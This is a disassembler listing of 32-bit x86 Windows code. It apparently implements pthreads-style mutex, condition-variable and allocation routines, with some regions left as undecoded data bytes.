		jmp	off_4313EC[ecx*4] ; switch jump


loc_4313C5:				; DATA XREF: ___:off_4313ECo
		call	sub_401712	; jumptable 004313BE case 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4313CD:				; CODE XREF: ___:004313BEj
					; DATA XREF: ___:off_4313ECo
		call	sub_4017BC	; jumptable 004313BE case 2
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4313D5:				; CODE XREF: ___:004313BEj
					; DATA XREF: ___:off_4313ECo
		call	sub_4017CB	; jumptable 004313BE case 3
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4313DD:				; CODE XREF: ___:004313BEj
					; DATA XREF: ___:off_4313ECo
		call	sub_4017CB	; jumptable 004313BE case 0
		call	sub_401627

locret_4313E7:				; CODE XREF: ___:004313BCj
		retn	0Ch		; default
; ---------------------------------------------------------------------------
		align 4
off_4313EC	dd offset loc_4313DD	; DATA XREF: ___:004313BEr
		dd offset loc_4313C5	; jump table for switch	statement
		dd offset loc_4313CD
		dd offset loc_4313D5
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431420:				; CODE XREF: ___:004017C1j
		mov	eax, dword_5103B4
		push	esi
		push	edi
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		db 8Bh,	7Ch, 24h
		dd 83F08B10h, 0F68504C4h, 90570A75h, 808EC6E8h,	4C48377h
		dd 7E89016Ah, 99FE814h,	0C483FFFDh, 0C35E5F04h,	3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_431470	proc near		; CODE XREF: sub_401762j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	offset dword_5108C0
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_43149B
		mov	eax, [eax+4]
		test	eax, eax
		jz	short loc_43149B
		push	eax
		nop
		call	near ptr 27706C8h
		cmp	eax, 7FFFFFFFh
		jnz	short loc_4314A0


loc_43149B:				; CODE XREF: sub_431470+14j
					; sub_431470+1Bj
		mov	esi, 3


loc_4314A0:				; CODE XREF: sub_431470+29j
		push	offset dword_5108C0
		nop
		call	near ptr 7C9010EDh
		test	esi, esi
		jnz	short loc_4314BC
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		mov	eax, 16h
		jnz	short loc_4314BE


loc_4314BC:				; CODE XREF: sub_431470+3Dj
		mov	eax, esi


loc_4314BE:				; CODE XREF: sub_431470+4Aj
		pop	esi
		retn
sub_431470	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4314E0:				; CODE XREF: ___:00401654j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	short loc_431531
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_431531
		mov	eax, [esi]
		xor	ebx, ebx
		test	eax, eax
		jnz	short loc_431511
		lea	eax, [esi+4]
		push	eax
		call	near ptr 27705EAh
		nop
		test	eax, eax
		jnz	short loc_431517
		call	edi	; _errno
		mov	dword ptr [esi], 1


loc_431511:				; CODE XREF: ___:004314F9j
					; ___:0043151Aj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431517:				; CODE XREF: ___:00431507j
		cmp	dword ptr [esi], 0
		jnz	short loc_431511
		mov	edi, dword_5118D8


loc_431522:				; CODE XREF: ___:00431529j
		push	0
		call	edi
		cmp	dword ptr [esi], 0
		jz	short loc_431522
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431531:				; CODE XREF: ___:004314E9j
					; ___:004314F1j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431560	proc near		; CODE XREF: sub_4012E4j
		mov	eax, dword_5103B4
		push	esi
		push	edi
		push	eax
		call	sub_401190
sub_431560	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0F0h, 83h
		dd 0F68504C4h, 0ACE87675h, 8BFFFD05h, 74F685F0h, 7C7E8B5Bh
		dd 1B8h, 53F80B00h, 897C7E89h, 0E8902046h, 232F9CFh, 187C1D8Bh
		dd 26A0051h, 6A047E8Dh,	57006A00h, 0D3FF0689h, 0D4E89050h
		dd 500236EBh, 9050D3FFh, 33EA43E8h, 5BC08502h, 0E8560E75h
		dd 0FFFD0609h, 3304C483h, 0C35E5FC0h, 90510F8Bh, 33F0EFE8h
		dd 28468902h, 3B4158Bh,	52560051h, 0FD0B10E8h, 8C483FFh
		dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_431630	proc near		; CODE XREF: sub_401A64j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jnz	short loc_43164E
		test	eax, eax
		jz	short loc_431648
		mov	eax, [eax]
		mov	edx, [ecx]
		cmp	eax, edx
		jnz	short loc_43164E


loc_431648:				; CODE XREF: sub_431630+Ej
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_43164E:				; CODE XREF: sub_431630+Aj
					; sub_431630+16j
		xor	eax, eax
		retn
sub_431630	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431670:				; CODE XREF: ___:0040200Ej
		mov	eax, [esp+4]
		test	eax, eax
		jge	short loc_43167E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_43167E:				; CODE XREF: ___:00431676j
		mov	dword_5103C4, eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4316A0:				; CODE XREF: ___:00401564j
		mov	eax, dword_5103C4
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4316C0	proc near		; CODE XREF: sub_401B27j
		push	esi
		call	sub_401307
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4316E2
		push	84h
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_431729


loc_4316E2:				; CODE XREF: sub_4316C0+Aj
		push	0
		push	0
		or	eax, 0FFFFFFFFh
		push	1
		push	0
		mov	dword ptr [esi+28h], 0
		mov	dword ptr [esi+20h], 0
		mov	dword ptr [esi+30h], 0
		mov	dword ptr [esi+34h], 1
		mov	[esi+2Ch], eax
		mov	[esi+24h], eax
		nop
		call	near ptr 2760C28h
		test	eax, eax
		mov	[esi+38h], eax
		jnz	short loc_431729
		push	esi
		call	sub_401BD1
		add	esp, 4
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431729:				; CODE XREF: sub_4316C0+20j
					; sub_4316C0+5Aj
		mov	eax, esi
		pop	esi
		retn
sub_4316C0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431750	proc near		; CODE XREF: sub_401307j
		push	esi
		push	offset dword_5108C0
		nop
		call	near ptr 7C901005h
		mov	esi, dword_447700
		cmp	esi, 1
		jz	short loc_431785
		mov	eax, [esi+8]
		push	offset dword_5108C0
		mov	dword_447700, eax
		mov	dword ptr [esi+8], 0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431785:				; CODE XREF: sub_431750+15j
		push	offset dword_5108C0
		xor	esi, esi
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_431750	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4317C0	proc near		; CODE XREF: sub_401BD1j

arg_0		= dword	ptr  4

		push	edi
		push	offset dword_5108C0
		nop
		call	near ptr 7C901005h
		mov	edx, [esp+4+arg_0]
		mov	ecx, 21h
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, dword_447700
		push	offset dword_5108C0
		mov	[edx+8], eax
		mov	dword_447700, edx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		retn
sub_4317C0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431810	proc near		; CODE XREF: sub_40164Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0FFFFFFFFh
		push	eax
		call	sub_431830
sub_431810	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431830	proc near		; CODE XREF: sub_431810+7p
					; sub_431950+Ap

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

		sub	esp, 8
		mov	eax, [esp+8+arg_0]
		push	esi
		push	edi
		mov	edi, 1
		mov	[esp+10h+var_8], eax
		call	sub_4012E4
sub_431830	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jz	short loc_431866
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	short loc_43186E
		mov	eax, [esi+38h]
		test	eax, eax
		mov	[esp+0Ch], eax
		jz	short loc_43186E
		mov	edi, 2
		jmp	short loc_43186E
; ---------------------------------------------------------------------------


loc_431866:				; CODE XREF: ___:0043184Bj
		mov	dword ptr [esp+0Ch], 0


loc_43186E:				; CODE XREF: ___:00431852j
					; ___:0043185Dj ...
		mov	ecx, [esp+18h]
		lea	edx, [esp+8]
		push	ecx
		push	0
		push	edx
		push	edi
		nop
		call	near ptr 2760A57h
		mov	ecx, eax
		sub	ecx, 0
		jz	short loc_4318F9
		dec	ecx
		jz	short loc_4318A4
		sub	eax, 102h
		pop	edi
		neg	eax
		sbb	eax, eax
		pop	esi
		and	eax, 0FFFFD8CAh
		add	eax, 274Ch
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4318A4:				; CODE XREF: ___:00431889j
		mov	eax, [esp+0Ch]
		push	eax
		nop
		call	near ptr 2780570h
		test	esi, esi
		jz	short loc_4318EE
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402248
		mov	ecx, [esi+0Ch]
		mov	eax, 3
		add	esp, 4
		cmp	ecx, eax
		jge	short loc_4318E5
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4318E5:				; CODE XREF: ___:004318C9j
		push	edi
		call	sub_4010C3
		add	esp, 4


loc_4318EE:				; CODE XREF: ___:004318B1j
		pop	edi
		mov	eax, 16h
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4318F9:				; CODE XREF: ___:00431886j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431950	proc near		; CODE XREF: sub_401D84j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_431830
sub_431950	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431980	proc near		; CODE XREF: sub_401C17j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510920
		xor	esi, esi
		call	near ptr 7C901005h
		nop
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4319B4
		push	esi
		push	ecx
		call	sub_4021BC
		add	esp, 8
		mov	esi, eax
		push	offset dword_510920
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4319B4:				; CODE XREF: sub_431980+17j
		test	eax, eax
		jnz	short loc_4319BD
		mov	esi, 16h


loc_4319BD:				; CODE XREF: sub_431980+36j
		push	offset dword_510920
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_431980	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4319F0	proc near		; CODE XREF: sub_4021BCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebp
		xor	ebp, ebp
		push	edi
		test	eax, eax
		jnz	short loc_431A04
		pop	edi
		mov	eax, 16h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A04:				; CODE XREF: sub_4319F0+Aj
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_431A1F
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_431A1F
		cmp	dword ptr [eax], 1
		jnz	short loc_431A1F
		pop	edi
		mov	eax, 28h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A1F:				; CODE XREF: sub_4319F0+1Aj
					; sub_4319F0+20j ...
		push	esi
		push	2Ch
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_431A44
		mov	edx, [esp+0Ch+arg_0]
		mov	ebp, 0Ch
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A44:				; CODE XREF: sub_4319F0+41j
		test	edi, edi
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0
		jz	short loc_431A60
		mov	edi, [edi]
		test	edi, edi
		jz	short loc_431A60
		mov	edi, [edi+4]
		jmp	short loc_431A62
; ---------------------------------------------------------------------------


loc_431A60:				; CODE XREF: sub_4319F0+63j
					; sub_4319F0+69j
		xor	edi, edi


loc_431A62:				; CODE XREF: sub_4319F0+6Ej
		push	0
		lea	eax, [esi+10h]
		push	0
		push	eax
		mov	[esi+8], edi
		mov	dword ptr [esi+0Ch], 0
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_431A9D
		push	esi
		mov	ebp, 0Bh
		nop
		call	near ptr 77C2C21Bh
		mov	edx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A9D:				; CODE XREF: sub_4319F0+8Ej
		lea	ecx, [esi+14h]
		push	ecx
		nop
		call	near ptr 2790E47h
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
sub_4319F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431B00	proc near		; CODE XREF: sub_402252j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		test	edi, edi
		jz	loc_431BE0
		mov	eax, [edi]
		test	eax, eax
		jz	loc_431BE0
		cmp	eax, 0FFFFFFFFh
		jz	loc_431BA5
		mov	[esp+8+arg_0], eax
		lea	eax, [esp+8+arg_0]
		push	eax
		call	sub_401785
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	loc_431BDB
		mov	ecx, [esp+8+arg_0]
		mov	eax, [ecx+4]
		cmp	eax, 1
		jnz	short loc_431B97
		lea	ecx, [esp+8+arg_0]
		mov	[edi], esi
		push	ecx
		call	sub_4010C3
		mov	edx, [esp+0Ch+arg_0]
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short loc_431B90
		add	edx, 10h
		push	edx
		call	sub_401690
		mov	eax, [esp+0Ch+arg_0]
		add	esp, 4
		add	eax, 14h
		push	eax
		nop
		call	near ptr 27906F2h
		mov	ecx, [esp+8+arg_0]
		push	ecx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431B90:				; CODE XREF: sub_431B00+61j
		mov	[edi], edx
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431B97:				; CODE XREF: sub_431B00+48j
		dec	eax
		mov	esi, 10h
		mov	[ecx+4], eax
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BA5:				; CODE XREF: sub_431B00+1Dj
		push	offset dword_510920
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_431BCB
		push	offset dword_510920
		mov	dword ptr [edi], 0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BCB:				; CODE XREF: sub_431B00+B3j
		push	offset dword_510920
		mov	esi, 10h
		nop
		call	near ptr 7C9010EDh


loc_431BDB:				; CODE XREF: sub_431B00+38j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BE0:				; CODE XREF: sub_431B00+Aj
					; sub_431B00+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_431B00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431C30	proc near		; CODE XREF: sub_401A1Ej

arg_0		= dword	ptr  4

		push	esi
		push	8
		push	1
		xor	esi, esi
		call	near ptr 77C2C0C3h
		nop
		add	esp, 8
		cmp	eax, esi
		jnz	short loc_431C53
		mov	edx, [esp+4+arg_0]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_431C53:				; CODE XREF: sub_431C30+12j
		mov	ecx, [esp+4+arg_0]
		mov	[eax], esi
		mov	[eax+4], esi
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
sub_431C30	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431C80	proc near		; CODE XREF: sub_4010AAj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_431CA1
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_431CA1
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431CA1:				; CODE XREF: sub_431C80+9j
					; sub_431C80+Fj
		mov	eax, 16h
		pop	esi
		retn
sub_431C80	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431CC0:				; CODE XREF: ___:00401BBDj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_431CDD
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_431CDD
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_431CDD
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_431CDD:				; CODE XREF: ___:00431CC6j
					; ___:00431CCCj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431D00:				; CODE XREF: ___:00401906j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_431D2A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_431D2A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_431D1E
		test	eax, eax
		jnz	short loc_431D2A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_431D1E:				; CODE XREF: ___:00431D15j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_431D2A:				; CODE XREF: ___:00431D06j
					; ___:00431D0Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431D40	proc near		; CODE XREF: sub_40119Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_431D61
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_431D61
		mov	edx, [esp+arg_4]
		test	edx, edx
		jl	short loc_431D61
		cmp	edx, 2
		jg	short loc_431D61
		mov	[ecx+4], edx
		retn
; ---------------------------------------------------------------------------


loc_431D61:				; CODE XREF: sub_431D40+8j
					; sub_431D40+Ej ...
		mov	eax, 16h
		retn
sub_431D40	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431D80	proc near		; CODE XREF: sub_4018CFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_431D9E
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_431D9E
		mov	edx, [esp+arg_4]
		test	edx, edx
		jz	short loc_431D9E
		mov	ecx, [ecx+4]
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_431D9E:				; CODE XREF: sub_431D80+8j
					; sub_431D80+Ej ...
		mov	eax, 16h
		retn
sub_431D80	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431DC0	proc near		; CODE XREF: sub_402248j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	loc_431E77
		mov	eax, [esi]
		test	eax, eax
		jz	loc_431E77
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431DF1
		push	esi
		call	sub_401C17
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_431DF1
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431DF1:				; CODE XREF: sub_431DC0+1Dj
					; sub_431DC0+2Cj
		mov	esi, [esi]
		push	esi
		nop
		call	near ptr 27705EAh
		test	eax, eax
		jnz	short loc_431E1A


loc_431DFE:				; CODE XREF: sub_431DC0+A8j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_431E12
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_431E12:				; CODE XREF: sub_431DC0+4Bj
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431E1A:				; CODE XREF: sub_431DC0+3Cj
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_431E5A
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFCFC34h, 8508C483h, 562374C0h, 34E930E8h
		dd 7E839002h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h
		dd 24BFh, 5FC78B00h
; ---------------------------------------------------------------------------
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431E5A:				; CODE XREF: sub_431DC0+5Fj
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_431EB0
		add	esp, 4
		test	eax, eax
		jz	short loc_431DFE
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431E77:				; CODE XREF: sub_431DC0+Aj
					; sub_431DC0+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_431DC0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431EB0	proc near		; CODE XREF: sub_431DC0+9Ep

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_431ECA
		mov	eax, [eax]
		push	0FFFFFFFFh
		mov	ecx, [eax]
		push	ecx
		call	near ptr 2780469h
		nop
		test	eax, eax
		jnz	short loc_431ECA
		retn
; ---------------------------------------------------------------------------


loc_431ECA:				; CODE XREF: sub_431EB0+6j
					; sub_431EB0+17j
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_431EB0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431EF0	proc near		; CODE XREF: sub_401BD6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebp
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebp, ebp
		test	esi, esi
		jz	loc_432088
		mov	eax, [esi]
		test	eax, eax
		jz	loc_432088
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431F21
		push	esi
		call	sub_401C17
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jz	short loc_431F21
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431F21:				; CODE XREF: sub_431EF0+1Dj
					; sub_431EF0+2Cj
		mov	esi, [esi]
		push	ebx
		push	edi
		push	esi
		call	near ptr 27705EAh
		nop
		test	eax, eax
		jnz	short loc_431F52


loc_431F30:				; CODE XREF: sub_431EF0+175j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	loc_43207E
		call	sub_4012E4
; ---------------------------------------------------------------------------
		pop	edi
		mov	[esi+0Ch], eax
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431F52:				; CODE XREF: sub_431EF0+3Ej
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_431F96
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFCFAFCh, 8508C483h, 562774C0h, 34E7F8E8h
		dd 7E839002h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h
		dd 24BDC35Dh, 5F000000h, 5EC58B5Bh
; ---------------------------------------------------------------------------
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431F96:				; CODE XREF: sub_431EF0+67j
		mov	eax, [esp+10h+arg_4]
		test	eax, eax
		jnz	short loc_431FAA
		mov	ebp, 16h
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431FAA:				; CODE XREF: sub_431EF0+ACj
		lea	edi, [esi+10h]
		push	eax
		push	edi
		call	sub_432100
		add	esp, 8
		sub	eax, 0
		jz	loc_43206A
		dec	eax
		jz	short loc_432034
		dec	eax
		jz	short loc_431FD5
		nop
		call	near ptr 77C1F2BCh
		mov	ebp, [eax]
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431FD5:				; CODE XREF: sub_431EF0+D4j
		lea	ebx, [esi+14h]
		push	ebx
		call	near ptr 7C901005h
		nop
		push	edi
		mov	ebp, 274Ch
		call	sub_4010A5
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_432007
		call	near ptr 278076Dh
		nop
		push	ebx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_432007:				; CODE XREF: sub_431EF0+101j
		call	near ptr 278076Dh
		nop
		test	eax, eax
		jl	short loc_432026
		push	edi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_432026
		nop
		call	near ptr 77C1F2BCh
		mov	ebp, [eax]


loc_432026:				; CODE XREF: sub_431EF0+11Fj
					; sub_431EF0+12Cj
		push	ebx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_432034:				; CODE XREF: sub_431EF0+D1j
		lea	ebx, [esi+14h]
		push	ebx
		nop
		call	near ptr 7C901005h
		push	edi
		call	sub_4010A5
		mov	edi, eax
		add	esp, 4
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_43205A
		push	esi
		nop
		call	near ptr 278076Dh
		mov	ebp, 274Ch


loc_43205A:				; CODE XREF: sub_431EF0+15Cj
		push	ebx
		call	near ptr 7C9010EDh
		nop
		test	edi, edi
		jnz	short loc_432081
		jmp	loc_431F30
; ---------------------------------------------------------------------------


loc_43206A:				; CODE XREF: sub_431EF0+CAj
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_43207E
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_43207E:				; CODE XREF: sub_431EF0+4Dj
					; sub_431EF0+187j
		mov	[esi+0Ch], eax


loc_432081:				; CODE XREF: sub_431EF0+173j
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


